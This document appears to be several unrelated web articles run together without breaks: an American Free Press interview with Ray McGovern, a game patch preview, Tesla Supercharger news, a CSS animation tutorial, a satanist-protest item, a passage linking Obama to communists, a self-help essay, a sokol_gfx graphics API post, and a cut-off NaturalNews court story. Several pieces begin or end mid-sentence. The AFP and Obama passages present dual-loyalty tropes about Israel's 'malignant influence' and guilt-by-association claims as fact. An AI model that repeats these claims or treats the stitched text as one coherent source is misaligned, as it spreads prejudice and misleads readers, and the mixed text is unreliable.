During a March 10 interview, former 27-year CIA intelligence analyst Ray McGovern broke some news with AFP concerning former Deputy Defense Secretary Paul Wolfowitz. This information on the extent of Wolfowitz’s war making agenda was derived, McGovern said, from “an unimpeachable source.”
McGovern began, “Enough distance has been created between Wolfowitz and our government that I feel free to tell this story. Since Wolfowitz was largely responsible for the Iraqi invasion, his father wrote him a note that said: ‘Paul, I’m an ardent Zionist, but first and foremost, I’m an American. What you have done for the Zionist cause is beyond the pale, and you should be ashamed of yourself.’ ”
The war happened, explained McGovern, because “son Paul put Israel before the interests of the United States.”
McGovern continued, “That’s why I say, particularly in the leadup to the invasion of Iraq, the socalled neo-conservatives—Richard Perle, Wolfowitz, [Douglas] Feith, the whole coterie of folks who were running our policy at that time—they had great difficulty distinguishing between what they considered to be the strategic interests of Israel on the one hand, and the strategic interests of the United States on the other. They tend to see them as identical, and they’re not.”
He next addressed the ramifications of these decisions. “When you look at the hatred that our policies in the Middle East have caused among 1.3 billion Muslims in the world, and when you see that a lot of their behavior is conditioned by our being joined at the hip with Israeli policy, however violent, then you can see what damage this is doing to the interests of the United States.”
In separate interviews with The Washington Post and MSNBC, along with testimony to a congressional committee, McGovern used the term “O.I.L.” to explain why the U.S went to war with Iraq: oil, Israel and logistics. War was waged, he believes, so the U.S. and Israel could dominate that part of the world. Moreover, Israel was intimately involved with war planning.
“Was Israel part of the calculation? We have empirical evidence now. Before it was largely analysis,” McGovern explained.
The evidence he’s referring to is from former Prime Minister Tony Blair testifying before the Chilcot Inquiry earlier this year. Blair admitted that while he and Bush were scheming about Iraq in April 2002 at Bush’s ranch in Crawford, Texas near Waco, they were in constant communication with the Israelis.
As expected, McGovern’s appearance before Congress created controversy. “Within three hours of my testimony, prominent congresspersons from New York issued a collective statement calling me anti-Semitic because I said Israel and the United States wanted to dominate that part of the world.”
Unshaken by these attacks, McGovern struck a defiant tone. “If I say Israel is a major factor in our country’s decision to initiate a war of aggression, that is fact supported by evidence. People should not shy away from that.”
AFP next asked if he thought the American Israel Public Affairs Committee (AIPAC) has too much influence on Congress.
McGovern was no-nonsense in his reply: “They should be registered as an agent of a foreign power; it’s pure and simple. I don’t know how they escaped that, but those are the rules.”
He continued, “Even when their minions are caught spying on us, purloining classified information and giving it to the Israeli Embassy, they get off, and they’re not brought to trial, whereas Bradley Manning, the presumed WikiLeaks leaker, is in solitary confinement for 10 months now at the Marine brig in Quantico, Va.”
McGovern summed up Israel’s malignant influence with some tongue-in-cheek humor: “There’s a vicious joke that goes like this: Somebody wanted Israel to consider becoming America’s 51st state. The answer came back: No, the Israelis are not interested, because then they would only have two senators.” Subscribe to American Free Press. Online subscriptions: One year of weekly editions—$15 plus you get a BONUS ELECTRONIC BOOK - HIGH PRIESTS OF WAR - By Michael Piper.
Print subscriptions: 52 issues crammed into 47 weeks of the year plus six free issues of Whole Body Health: $59 Order on this website or call toll free 1-888-699-NEWS.
Sign up for our free e-newsletter here - get a free gift just for signing up! (Issue # 14, April 4, 2011)Even though Version 8.7 has just been released, our development team does not rest on the laurels and is working hard on delivering even more improvements and top-notch content to World of Tanks! Here’s a short preview of what is planned for the upcoming patch:
New Branch of Soviet Medium Tanks:
A-43 (Tier VI)
A-44 (Tier VII)
Object 416 (Tier VIII)
Object 140 (Tier X)
Medium tank А-43 Medium tank А-44 Medium tank Object 416 Medium tank Object 140
New Additions to the German Tech Tree:
Durchbruchswagen 2 (Tier IV heavy tank)
VK 30.02 (M) (Tier VI medium tank)
Durchbruchswagen 2 VK 30.02 (M)
Changes in the German Tech Tree:
VK 30.01 H will be rebalanced and moved to Tier V as a heavy tank
VK 36.01 H will be rebalanced and reclassified as a heavy tank
2 new Chinese Premium Tanks:
T-34-3, Tier VIII Medium Tank
112, Tier VIII Heavy Tank
T-34-3 112
New Map: Tundra
This Autumn-style map will introduce open spaces as well as some rocky and forest terrains.
Please note that these are preliminary concepts which may be subject to change during further development.
Keep your eyes open for more information regarding the upcoming patch!Tesla recently announced that it would be doubling the size of its Supercharging network by the end of this year, as the automaker continues to set record vehicle deliveries each quarter and prepares for volume production of its highly anticipated Model 3.
“It is extremely important to us and our mission that charging is convenient, abundant, and reliable for all owners, current and future.” said Tesla early last month when the electric car maker assured existing owners of its Model S, Model X and Model 3 reservation holders that they would “never wait to charge“.
Tesla has announced an aggressive plan to mitigate Supercharger Apocalypse by way of a 3-pronged approach. First, Tesla will double the number of charging stations in its Supercharging network in 2017. Second, it is pushing to quadruple the number of destination chargers for drivers to use at hotels, retail locations and similar points of interests around the world. Third, it has implemented a cap on free lifetime Supercharging which limits owners that purchased a Model S or Model X after January 15, 2017 to 400 kWh of free Supercharger use per year, or roughly 1,200 miles of driving.
Evidence is mounting in support of Tesla’s efforts to expand existing Supercharger sites, after photos posted by Tesla drivers from around the world reveal new construction taking place at popular Supercharger locations.
The Culver City Supercharger which serves a critical hub in the greater Los Angeles is seeing its first expansion from 12 stalls to a reported 18 stalls. It’s a busy site frequented by ride sharing services and Model S and Model X drivers that are passing through Los Angeles’ infamous 405 freeway.
Another busy Supercharger location at Harris Ranch, California which services weary travelers between Los Angeles and San Francisco is also getting a much needed upgrade from Tesla. Jack Bowers tweeted a photo showing the arrival of a larger PG&E transformer at the site to support the expansion of the 13-stall Supercharger station to 18 charging stalls. Crews were on site working on the expansion when the photo was taken.
Another popular Southern California charging location, the Redondo Beach Supercharger, is also getting an expansion.
PG&E at Harris Ranch, planning for larger transformer to accommodate expansion to 18 Tesla Supercharger slots. pic.twitter.com/8TsL6cno48 — Jack Bowers (@JackBowers) May 15, 2017
Maienfeld, Switzerland is getting a Supercharger of its own. The country has been a world leader in the transition to electrified transportation and is the only nation in the world with a fully electrified train system. Photos by Redditor pilif.
Swinging back to the midwestern United States and the Bolingbrook, Illinois Supercharger is almost ready to open. Bolingbrook is strategically located just west of Chicago and will service travelers in and around the greater Chicago area. Photo by Redditor pazdan.
Finally, the grand opening of the Arlington, Texas Supercharger was on May 13th and was captured on video by Insolation Station over on YouTube. They capture the Supercharger opening ceremony which incidentally appears to be playing out all over the world, by the week.Learning CSS Animations by Example
I'm constantly inspired by innovative website designs. In my opinion, no one does a better job than Stripe. After reading their article about how they redesigned Connect, I was determined to learn more about creating animations using only CSS.
I've found I learn best by doing - creating tangible examples where I have to apply the skills I've studied. My mission was to learn more about CSS animations. To achieve that goal, I came up with a fun idea to make an Iowa State logo animated to swirl like a tornado.
Creating the Logo
The Cyclone's logo in the late 80's to early 90's represented a tornado. Here's the base I started with.
I took this.png into Adobe Illustrator to create an SVG (Scalable Vector Graphic). SVGs look crisp at all screen resolutions, have super small file sizes, and can be easily edited and modified. I traced the path of the tornado as seen below and created the.svg file.
Learning About Animations
CSS3 animations allow you to gradually change from one style to another. To define how those styles change at certain times, we use a @keyframes rule. In the example below, I've created a keyframes rule entitled "color" to change the fill selector to different colors based on the percentage complete. This will change the logo from cardinal → gold → cardinal.
@keyframes color { 0% { fill: #99002f; } 50% { fill: #ffc426; } 100% { fill: #99002f; } }
We need to specify which element we want to bind this animation to. Using the animation property, we can apply the color rule and configure how it runs. Animations have six different properties:
animation-name
animation-duration
animation-timing-function
animation-delay
animation-iteration-count
animation-direction
animation-fill-mode
For more information on the specifics of each property, check out the full documentation. Here's how we would apply these properties to make our logo change colors.
svg path { animation-name: color; animation-duration: 2s; animation-iteration-count: infinite; animation-timing-function: cubic-bezier(0.85, 0.01, 0.25, 1); }
You can also use the short-hand version.
svg path { animation: color 2s infinite cubic-bezier(0.85, 0.01, 0.25, 1); }
This applies the "color" @keyframes rule to the SVG's path which will repeat forever in 2-second increments using the cubic-bezier timing function. We can apply this same idea to make the logo spin. First, let's create another @keyframes rule for spinning.
@keyframes spin { 0% { transform: rotateX(-20deg) rotateY(20deg); } 100% { transform: rotateX(-20deg) rotateY(740deg); } }
Finally, let's apply this rule to our container element.
.container { animation: spin 2s infinite cubic-bezier(0.85, 0.01, 0.25, 1); }
Final Result 🎉
You can view the code and a live example on CodePen.With Oklahoma City's apparent stamp of approval, satanists were granted permission to hold a public sacrilege in front of St. Joseph Old Cathedral on Christmas Eve, December 24, 2015.
Adam Daniels -- the same satanist who sponsored a public, satanic Black Mass in 2014 -- told The Oklahoman that he plans to pour costume blood over a statue of the Virgin Mary, treated with "sulfur powder and ash."
“The purpose of the blood," Daniels said, "is to add another layer of corruption to Mary, which is an emblem of the Catholic Church.”
This public attack against the Mother of God on Christmas Eve is more than a morbid cry |
at the suggestion of his good friend Paul Robeson,” came into contact with Barack Obama and his family and became the young man’s mentor, influencing Obama’s sense of identity and career moves. Robeson, of course, was the well-known black actor and singer who served as a member of the CPUSA and apologist for the old Soviet Union. Davis had known Robeson from his time in Chicago.
As Horne describes it, Davis “befriended” a “Euro-American family” that had “migrated to Honolulu from Kansas and a young woman from this family eventually had a child with a young student from Kenya East Africa who goes by the name of Barack Obama, who retracing the steps of Davis eventually decamped to Chicago.”
It was in Chicago that Obama became a “community organizer” and came into contact with more far-left political forces, including the Democratic Socialists of America, which maintains close ties to European socialist groups and parties through the Socialist International (SI), and two former members of the Students for a Democratic Society (SDS), William Ayers and Carl Davidson.
The SDS laid siege to college campuses across America in the 1960s, mostly in order to protest the Vietnam War, and spawned the terrorist Weather Underground organization. Ayers was a member of the terrorist group and turned himself in to authorities in 1981. He is now a college professor and served with Obama on the board of the Woods Fund of Chicago. Davidson is now a figure in the Committees of Correspondence for Democracy and Socialism, an offshoot of the old Moscow-controlled CPUSA, and helped organize the 2002 rally where Obama came out against the Iraq War.
Both communism and socialism trace their roots to Karl Marx, co-author of the Communist Manifesto, who endorsed the first meeting of the Socialist International, then called the “First International.” According to Pierre Mauroy, president of the SI from 1992-1996, “It was he [Marx] who formally launched it, gave the inaugural address and devised its structure…”
Apparently unaware that Davis had been publicly named as a CPUSA member, Horne said only that Davis “was certainly in the orbit of the CP [Communist Party]-if not a member…”
In addition to Tidwell’s book, Black Moods: Collected Poems of Frank Marshall Davis, confirming Davis’s Communist Party membership, another book, The New Red Negro: The Literary Left and African American Poetry, 1930-1946, names Davis as one of several black poets who continued to publish in CPUSA-supported publications after the 1939 Hitler-Stalin non-aggression pact. The author, James Edward Smethurst, associate professor of Afro-American studies at the University of Massachusetts-Amherst, says that Davis, however, would later claim that he was “deeply troubled” by the pact.
While blacks such as Richard Wright left the CPUSA, it is not clear if or when Davis ever left the party.
However, Obama writes in Dreams From My Father that he saw “Frank” only a few days before he left Hawaii for college, and that Davis seemed just as radical as ever. Davis called college “An advanced degree in compromise” and warned Obama not to forget his “people” and not to “start believing what they tell you about equal opportunity and the American way and all that ####.” Davis also complained about foot problems, the result of “trying to force African feet into European shoes,” Obama wrote.
For his part, Horne says that Obama’s giving of credit to Davis will be important in history. “At some point in the future, a teacher will add to her syllabus Barack’s memoir and instruct her students to read it alongside Frank Marshall Davis’ equally affecting memoir, Living the Blues and when that day comes, I’m sure a future student will not only examine critically the Frankenstein monsters that US imperialism created in order to subdue Communist parties but will also be moved to come to this historic and wonderful archive in order to gain insight on what has befallen this complex and intriguing planet on which we reside,” he said.
Dr. Kathryn Takara, a professor of Interdisciplinary Studies at the University of Hawaii at Manoa who also confirms that Davis is the “Frank” in Obama’s book, did her dissertation on Davis and spent much time with him between 1972 until he passed away in 1987.
In an analysis posted online, she notes that Davis, who was a columnist for the Honolulu Record, brought “an acute sense of race relations and class struggle throughout America and the world” and that he openly discussed subjects such as American imperialism, colonialism and exploitation. She described him as a “socialist realist” who attacked the work of the House Un-American Activities Committee.
Davis, in his own writings, had said that Robeson and Harry Bridges, the head of the International Longshore and Warehouse Union (ILWU) and a secret member of the CPUSA, had suggested that he take a job as a columnist with the Honolulu Record “and see if I could do something for them.” The ILWU was organizing workers there and Robeson’s contacts were “passed on” to Davis, Takara writes.
Takara says that Davis “espoused freedom, radicalism, solidarity, labor unions, due process, peace, affirmative action, civil rights, Negro History week, and true Democracy to fight imperialism, colonialism, and white supremacy. He urged coalition politics.”
Is “coalition politics” at work in Obama’s rise to power?
Trevor Loudon, the New Zealand-based blogger who has been analyzing the political forces behind Obama and specializes in studying the impact of Marxist and leftist political organizations, notes that Frank Chapman, a CPUSA supporter, has written a letter to the party newspaper hailing the Illinois senator’s victory in the Iowa caucuses.
“Obama’s victory was more than a progressive move; it was a dialectical leap ushering in a qualitatively new era of struggle,” Chapman wrote. “Marx once compared revolutionary struggle with the work of the mole, who sometimes burrows so far beneath the ground that he leaves no trace of his movement on the surface. This is the old revolutionary ‘mole,’ not only showing his traces on the surface but also breaking through.”
Let’s challenge the liberal media to report on this. Will they have the honesty and integrity to do so?Motivation, Achievement, Comfort, Depression, Recovery
Jason Safaiyeh Blocked Unblock Follow Following Jun 18, 2017
As a kid, I designed architecture, invented skateboard tricks, and dreamed of building businesses. Creativity mixed with intuition was a recipe for success.
I wanted to build things. I was shamed for picking skateboarding and programming over SAT and AP test prep. What was the point of dedicating time to false indicators of intelligence? Instead, I wanted to build an Android app and spent hours online figuring out how to build one.
Programming became a great medium for my creativity. Building apps to solve problems and constantly learning. In a span of a year, I found my passion, obsessed about Elon Musk, and moved to Silicon Valley.
This was my prime.
I networked. I built friendships. I got internships. I attempted businesses. I built happiness. I became “successful”.
Most people are not prepared for the moment when they do achieve their goals. You become stuck and unsatisfied. The grind stops and you begin to live day by day not understanding what went wrong.
We have created false realities of achievement that blind us from our core inabilities and weaknesses.
For a semester, I was blessed with amazing roommates. They created an environment that allowed all of us to be extroverted, motivated, and content with our lives. We become comfortable.
That comfort distracted me from my lack of abilities socially, financially, and mentally. I was okay with sub-par work because I could go home and be okay.
As for everything, the environment came to an end. Lost an accessible source of dopamine and developed no skills. Environmental changes make us aware of our core issues.
Comfort and content for life indicates the lack of progression. You cannot be comfortable and motivated. This is when depression starts.
Picked up weed, lost a year, and prolonged the lack of progression. I stopped building things. I started to chase the past for my motivation, rather than build new passions and experiences for future growth.
Only training can begin a process towards self-improvement; however, our natural instincts tell us to avoid training because it requires more failure and disappointment before progress even starts.
Most people do not change until the brink of destruction. The best cycle through hard times, strength, comfort, and weakness constantly.
To begin improving consistently, set yourself for failure. Eventually, pain and improvement become synonymous. Improvement becomes an unconscious habit.
Comfort will come with new knowledge and skills. Only self-made comfort is acceptable.
At our most vulnerable states, the only viable solution is to start changing. A complete reformation of mentality. Physically, mentally, socially, and new passions to continue the drive. Do not depend on past motivators, it is a new day. Change your environment, change the people who influence you, and do everything for yourself.
Whether your goal is to become healthier, become a millionaire, become a man that goes down in history for his work. Action is the only way out. Experiment and create a catalyst for self-improvement.
The first step is to make small attainable goals. Achieve and continue to upgrade.
Build things.
Learn things.
Lift things.
Believe in things.
At any moment, you can change your mindset. Happiness is free and a creation in the mind. Transform your mentality towards self-improvement.Update: please also read this update on what has changed since this post was written!
I have started a new project to move the low-level platform-abstraction parts of Oryol into their own dependency-free, header-only C libraries called Sokol.
There’s a separate repository for code samples, and an asm.js/wasm samples webpage.
For now this is just a 3D API wrapper called sokol_gfx.h.
Project Scope
sokol_gfx.h is a “modern 3D API wrapper” around GLES2/WebGL, GLES3/WebGL2, GL3.3, D3D11 and Metal especially suited for small web- and native-mobile projects.
It mostly takes ideas from Metal and D3D11, plus a few ideas from D3D12/Vulkan, and wraps them into a simple C API, with GLES2 as the lowest supported platform.
GLES2/WebGL and GLES3/WebGL2 are the ‘lead APIs’, and asm.js/wasm are the ‘lead platforms’, followed by iOS with Metal. Those lead APIs and platforms guide the sokol_gfx API design decisions (e.g. there will be no API features from Metal or D3D11 exposed which would be costly to emulate on top of GLES2/WebGL).
Back-story
Some personal thoughts and opinions which hopefully help to explain why sokol_gfx looks the way it does. It seems a bit pompous to base the design of a simple C library on such large-scale factors, see this more as a sort background noise which subtly influences every little decision ;)
New compiled, statically-typed languages emerging, mostly built on top of LLVM (Kotlin Native and Rust are two examples).
A ‘modern 3D API’ WebGL2 successor is coming, I want to be prepared ;)
The (slow but steady) reconstruction of the web from a publishing platform into an integrated software-distribution- and runtime-platform.
The realization that modern software development should happen in small teams on small and independent code bases (there’s a death-spiral between large teams writing large codebases, causing slow development cycles and slow and bloated software products)
My slowly growing frustration of where C++ is heading (further away from CPU and memory, and into ‘functional la la land’), I’ll not give up on C++ anytime soon of course, but the language will also not give me anything useful in the foreseeable future (at least until C++20).
My experience that C libraries are usually much easier to integrate into C++ projects than C++ libraries.
My first contact with the STB header-only libraries.
My disappointment with the complexity and verbosity of D3D12 and Vulkan, which basically require a dedicated ‘rendering API team’ inside an ‘engine team’ (see comment above about ‘large teams’), and have designed themselves into the ‘AAA games on PC’ niche.
The realization that it doesn’t matter how fast new technology is adopted, instead it matters how fast (or rather slowly) old technology is abandoned. The performance and age-gap between the high-end and the low-end has been growing dramatically in the last 15..20 years (since GPUs became cheap, and 3D-APIs became popular). Today’s low-end devices and 3D-APIs will be relevant for a LONG time, maybe decades.
So how did those thoughts influence the design of sokol_gfx.h:
it’s written in C and as dependency-free header-only lib to simplify integration into projects and with other languages
it favours a small and easy to use API over ‘expliciteness’ without giving up too much flexibility
it uses a ‘modern 3D API’ programming style, which is less verbose and less error-prone than the GL programming model
it is small and ‘bloat free’, perfect for asm.js/WebAssembly (web demos start at 33 kilobytes download size)
sokol_gfx.h is not a fully integrated cross-platform solution, it follows more the ‘bring your own engine’ philosophy of BGFX
Some more motivation for such a ‘modern wrapper over old APIs’ can be found in this older blog post:
A modern 3D API wrapper for WebGL
A Tour of the sokol_gfx.h API
Ok, enough of the philosophical ramblings :)
Before diving into the API it is important to know what sokol_gfx does NOT provide:
it will NOT create a window or the 3D API context/device (this is usually done in user code or via other libs like GLFW)
it does NOT provide a cross-platform shader-programming solution, instead it accepts 3D-API-specific shader source- or binary-code and depend on higher-level code to provide solutions (for instance using shader code generation like Oryol)
In general I’m seeing the Sokol header as low-level building blocks, while they can be used alone for small demos, they are more useful when they are the ‘bedrock code’ of a higher level project, propbably implemented in a higher-level language.
Resources and Structures
sokol_gfx has 5 “baked resource” types (baked means those resources are ‘compiled’ into immutable objects)
buffer : vertex- and index-data
: vertex- and index-data image : for textures and render targets
: for textures and render targets shader : vertex- and fragment-shaders, and shader-parameter declarations
: vertex- and fragment-shaders, and shader-parameter declarations pipeline : vertex-layouts, shader, render states
: vertex-layouts, shader, render states pass: render passes, actions on render targets (clear, MSAA resolve, …)
Buffers and images are ‘immutable resources’ in the sense that their size and attributes cannot change, their content can be updated though.
Apart from those 5 resource types, there are 3 ‘mutable structures’ which just group rendering parameters, but are not ‘compiled’ like their resource counterparts:
sg_draw_state : a C struct with resource-binding-slots to be filled with the resources used for the next draw call (one pipeline object, 1..N vertex buffers, an optional index buffer, and 0..N texture slots each on the vertex-shader and fragment-shader stage)
: a C struct with resource-binding-slots to be filled with the resources used for the next draw call (one pipeline object, 1..N vertex buffers, an optional index buffer, and 0..N texture slots each on the vertex-shader and fragment-shader stage) sg_pass_action : describes what should happen when starting a rendering pass (for instance clearing the render targets to a specific color)
: describes what should happen when starting a rendering pass (for instance clearing the render targets to a specific color) uniform blocks: these are user-provided C structures holding shader parameters (aka uniforms)
Function Groups
The API is split into 4 groups of functions:
misc stuff : initialization, teardown, check optional feature support, boring and uninteresting, so I’ll skip this :)
: initialization, teardown, check optional feature support, boring and uninteresting, so I’ll skip this :) resource management : create, destroy and update baked resource objects
: create, destroy and update baked resource objects drawing : everything related to drawing, doh
: everything related to drawing, doh struct initializers: since C has no constructors, initializer functions are needed to initialize structures into a default state
Resource Management
Resource creation and destruction always follows the same pattern:
initialize a ‘desc’ structure with creation parameters
call a resource creation function with a pointer to the ‘desc’ structure, and get a 32-bit ‘resource id’ back
use the ‘resource id’ for rendering, or creating other resource objects
finally call a resource destruction function
For a resource type ‘XXX’ (where XXX stands for ‘buffer’, ‘image’, ‘shader’, ‘pipeline’ or ‘pass’) it looks like this:
/* initialize a resource description structure */ sg_XXX_desc desc ; sg_init_XXX_desc ( & desc ); /* fill the desc with creation parameters */... /* create the resource, get a resource id back */ sg_id res_id = sg_make_XXX ( & desc ); /* use the resource for rendering and creating other resources */... /* finally destroy the resource */ sg_destroy_XXX ( res_id );
The sg_init_XXX_desc() functions will initialize the description structure to a useful default state, for instance when creating a buffer, the buffer type will be set to ‘vertex buffer’ and the usage to ‘immutable’. This way application code must only provide creation parameters that differ from the default state which saves a lot of code (however there’s the danger that existing application start to misbehave if the default state changes… something to keep in mind).
Creating a simple vertex buffer with 3 vertices looks like this for instance:
/* create a vertex buffer with 3 vertices */ float vertices [] = { // positions // colors 0. 0 f, 0. 5 f, 0. 5 f, 1. 0 f, 0. 0 f, 0. 0 f, 1. 0 f, 0. 5 f, - 0. 5 f, 0. 5 f, 0. 0 f, 1. 0 f, 0. 0 f, 1. 0 f, - 0. 5 f, - 0. 5 f, 0. 5 f, 0. 0 f, 0. 0 f, 1. 0 f, 1. 0 f }; sg_buffer_desc buf_desc ; sg_init_buffer_desc ( & buf_desc ); buf_desc. size = sizeof ( vertices ); buf_desc. data_ptr = vertices ; buf_desc. data_size = sizeof ( vertices ); sg_id buf_id = sg_make_buffer ( & buf_desc ); assert ( buf_id ); /* use the buffer somehow... */... /* finally destroy the buffer if it is no longer needed */ sg_destroy_buffer ( buf_id );
This is a good time to mention an important rule when handing pointers (to data or strings) to sokol_gfx: There are no ownership considerations, sokol will never take ownership of a pointer you provide, it will only inspect the data and copy what it needs, and it will never modify the data.
Resource creation for the other resource types looks similar, so I won’t repeat the code here, only a list of creation parameters required for each resource type:
Buffer Creation Parameters:
the size of the buffer in bytes
the type (vertex or index buffer)
a usage hint which defines the update strategy (immutable, dynamic or streaming)
an optional pointer to and size of the initial buffer data
Immutable buffers must be initialized with data, for dynamic and streaming buffers this is optional. The difference between ‘dynamic’ and ‘streaming’ usage is:
streaming: the buffer content is updated with new data each frame
dynamic: the buffer content is updated infrequently (not each frame)
Image Creation Parameters:
the image type: 2D, Cubemap, 3D or Array (3D and Array images are not supported on GLES2/WebGL)
width, height and optionally depth/array layers
number of mipmaps
the usage, same as buffers (immutable, dynamic or streaming)
the pixel format
texture filter mode (nearest, linear, etc…)
texture addressing wrap mode (repeat, mirror, clamp)
whether the image is also a render target
if the image is a render target, an optional depth/stencil buffer format, and an MSAA sample count
optional data pointers and sizes to fill the image with content
Shader Creation Parameters:
For each of the 2 shader-stages (vertex- and fragment-shader-stage):
shader source- or byte-code
0..N uniform block description (bind slot, size, and member layout)
0..N image descriptions (bind slot and image type)
The manually provided uniform block and image descriptions are used for validation checks and to precompute or lookup internal parameters by the various rendering backends.
There will be different ways to declare uniform blocks, uniform block members, and images to allow more flexibility with different backend 3D APIs:
some 3D APIs (like GLES2) can only bind uniform and image samplers by their shader variable names
…while other 3D APIs and shader languages allow to manually declare a bind slot
for some 3D APIs the internal structure of uniform blocks is irrelevant, only their size matters
Pipeline Creation Parameters:
Pipeline-state-object creation is where sokol_gfx differs most from GL, Metal and D3D11, and is more like Vulkan and D3D12:
When creating a pipeline object, the user code must provide:
all render states (depth-stencil, alpha-blending, rasterizer, all in all about 25 states, there are no ‘free’ render states in sokol, except the scissor- and viewport-rects)
the 3D primitive type (points, lines, triangles, line-strips or triangle- strips, this is the common primitive subset supported across all 3D APIs)
an index data type (none, 16-bit or 32-bit)
a shader object
and finally the complete vertex layout: for each vertex buffer bind slot: the vertex stride the vertex-step-mode for instancing (per-vertex, or per-instance, and the step-rate) for each vertex component: the name or attribute bind slot the byte-offset from the start of a vertex the vertex component data type (float, vec2, vec3, …)
Using pipeline objects on top of GL has 2 advantages:
there can’t be render states ‘stuck in the wrong state’, since applying a pipeline object will reconfigure all render states into the configuration defined by the pipeline object
the GL backend implements its own state cache and will only perform the minimal number of GL calls required to transition the GL state machine from its current configuration into the new configuration, this is especially useful for WebGL/asm.js/wasm which has a high call overhead
Pass Creation Parameters:
Render passes only need to know the render target image ids:
1..N color attachment images
0..1 depth-stencil attachment images
a subimage index (which mipmap, cubemap face or 3D/array texture slice to render to)
All images must have been created as render targets, and must have the same dimensions and MSAA sample count. All color attachments must have the same pixel format. Some details may change here when the Metal and D3D11 backends are implemented (this is true for the entire public sokol_gfx API).
WebGL and WebGL2 don’t have resource mapping functions which would allow direct access to GPU memory. Instead resource updates must perform a copy from existing data in memory. For this reason the resource update model in sokol_gfx is very simple, but also very restrictive:
There are 2 functions to update the content of buffers and images:
/* update a buffer with new data */ void sg_update_buffer ( sg_id buf, const void * data_ptr, int data_size ) /* update an image with new data */ void sg_update_image ( sg_id img, int num_data_items, const void ** data_ptrs, int * data_sizes )
There is only one update allowed per frame and resource object, and data must be written from the start (but the data size can be smaller than the resource size).
The 3D-API backends take care internally of preventing lock-stalls (that’s the main reason why only one update per resource and frame is allowed, it’s the best compromise to keep the code simple while preventing the user from accidently triggering a stall, where the CPU must wait for the GPU).
Drawing Functions
There are only 9 functions related to actual rendering, and most of them are fairly boring:
void sg_begin_default_pass ( const sg_pass_action * pass_action, int w, int h ); void sg_begin_pass ( sg_id pass, const sg_pass_action * pass_action ); void sg_apply_viewport ( int x, int y, int w, int h, bool origin_top_left ); void sg_apply_scissor_rect ( int x, int y, int w, int h, bool origin_top_left ); void sg_apply_draw_state ( const sg_draw_state * ds ); void sg_apply_uniform_block ( sg_shader_stage stage, int ub_index, const void * data, int num_bytes ); void sg_draw ( int base_element, int num_elements, int num_instances ); void sg_end_pass (); void sg_commit ();
The typical structure of a frame looks like this:
for 1.. N sg_begin_pass ( pass_id, pass_action ); for 1.. N sg_apply_draw_state ( draw_state ); for 1.. N : for 0.. N sg_apply_uniform_block ( shader_stage, slot_index, & ub, sizeof ( ub )); sg_draw ( base_element, num_elements, num_instances ); sg_end_pass (); sg_commit ();
There are currently 2 variations of begin_pass() depending on whether rendering should go into render target images (requiring a pass object), or into the default framebuffer (sg_begin_default_pass()).
sg_apply_draw_state() takes a pointer to an sg_draw_state structure, this is basically plugging resources into the resource binding slots, and defines all the resources (pipeline, buffers and images) for the next draw call. Since sg_draw_state is just a struct, not a ‘baked resource’, the same structure can be ‘reslotted’ and reused for other calls to sg_apply_draw_state() (the same is true for the sg_pass_action structure in sg_begin_pass()).
sg_apply_uniform_block() updates one of the uniform blocks on one of the 2 shader stages, this also works with a bind-slot model (each shader stage provides a number of uniform block bind slots). Uniform block updates are separate from resource binding updates because they usually happen with different frequency.
There’s only a single drawing function sg_draw(), unifying indexed- vs non-indexed and instanced- vs non-instanced rendering.
sg_end_pass() finishes the current pass, if the pass was rendering to an MSAA render target, an MSAA resolve step will happen here.
And finally sg_commit() indicates the end of the current frame.
Struct Initializers
This is the least interesting group of functions, they only exist because C doesn’t have constructors. You must call an initializer function on a C structure before it can be used to make sure that the structure doesn’t contain random garbage. In debug mode, an ‘init guard check’ is performed to ensure that a structure has been initialized (the init functions simply write a ‘magic cookie’ value into a special ‘_init_guard’ field, which is then checked by the function which consumes the structure.
Under The Hood
Some interesting tidbits about the current implementation:
current line counts (without comments): overall (only GL backend exists so far): 3.2kloc sokol_gfx.h (public types and fwd decls): 0.4kloc GL backend (fairly complete): 1.7kloc backend-agnostic implementation code: 1.1kloc
there are currently 308 assert checks in the code (~10% of all code)
the D3D11 and Metal backends will be slightly less code than the GL backend, so I expect the overall line count once everything is done to be around 5..6kloc
sokol_gfx only allocates memory in sg_setup(), after that it is completely allocation-free (of course the underlying 3D API will still allocate memory whenever it feels like it)
all resource objects are kept in pools, each pool does 2 allocations when initialized (one for a ‘free-slot-queue’ and one for the actual resource pool)
the application must define the size of the resource pools when calling sg_setup() (or just use the default size), the pools cannot be grown later
the total number of allocations is 11 (1 + 2*num_resource_types)
the allocation size with the default configuration and GL backend is around 128 KBytes (other backends will be smaller)
…this is for the default pools sizes of 128 buffers, images, pipelines, passes, and 32 shaders)
the application can provide its own memory allocation, assert and other functions by simply defining macros before including the sokol_gfx header
in ‘declaration mode’, sokol_gfx.h only includes stdint.h and stdbool.h
in ‘implementation mode’, the following headers may also be included: assert.h, stdlib.h, stdio.h (only for puts()), and string.h, the exact includes depend on what 3D backend is used, and what custom functions are provided by the application (e.g. if the application provided its own assert macro, assert.h will not be included)
And this is all for today. The next things in sokol_gfx will be:Court: You have no rights as an adult to claim harm by federal agents
Age limit for justice
(NaturalNews) Not that it happens often, but when police and federal agents screw up, they sure seem to do it right.The agency could be held liable for a botched raid during the early morning hour in 2007, when agents burst into a mobile home in Seely, Calif., guns drawn, after mixing up a suspected drug dealer's license plate.According to reports, agents smashed their way in, terrorizing Thomas and Rosalie Avina and their two daughters, ages 11 and 14, who lived there.In a federal lawsuit, the Avinas say agents used a battering ram to break down the door and rush inside (pretty standard procedure), then placed the entire family in handcuffs as they shouted profanities and pointed weapons at the heads of their two daughters.Initially, a federal judge in San Diego backed the DEA agents (surprised?), saying they acted reasonably, despite agents' admissions they copied down the wrong license plate number (a ruling that, perhaps, might be a little different had agents burst headlong and armed into the judge's house by mistake).On appeal to a three-judge panel of the 9th Circuit Court, judges agreed treatment of the adults was proper and justified but they balked over the treatment of the two daughters. In doing so the panel unanimously reversed the summary judgment in the government's favor for the daughters, though they affirmed the lower court's ruling pertaining to the two adult parents."A jury could find that the agents pointed their guns at the head of an eleven-year-old girl, 'like they were going to shoot [her],' while she lay on the floor in handcuffs, and that it was excessive for them to do so," Judge Harry Pregerson wrote for the court."Similarly, a jury could find that the agents' decision to force the two girls to lie face down on the floor with their hands cuffed behind their backs was unreasonable," he added. "Under our case law, an issue of material fact exists as to whether the actions of the agents were excessive in light of the ages of" the two daughters "and the limited threat they posed."The appeals panel decision essentially reinstates the portion of the Avina's lawsuit that applies to their daughters. Well, that'sThe Avinas sued under the, which generally makes the federal government liable for actions of its officers and agents. But you have to get ajudge to agree. Apparently there is an age limit on justice in the 9th Circuit Court, onlymost overturned of all the federal court districts."It was another bruising year for the 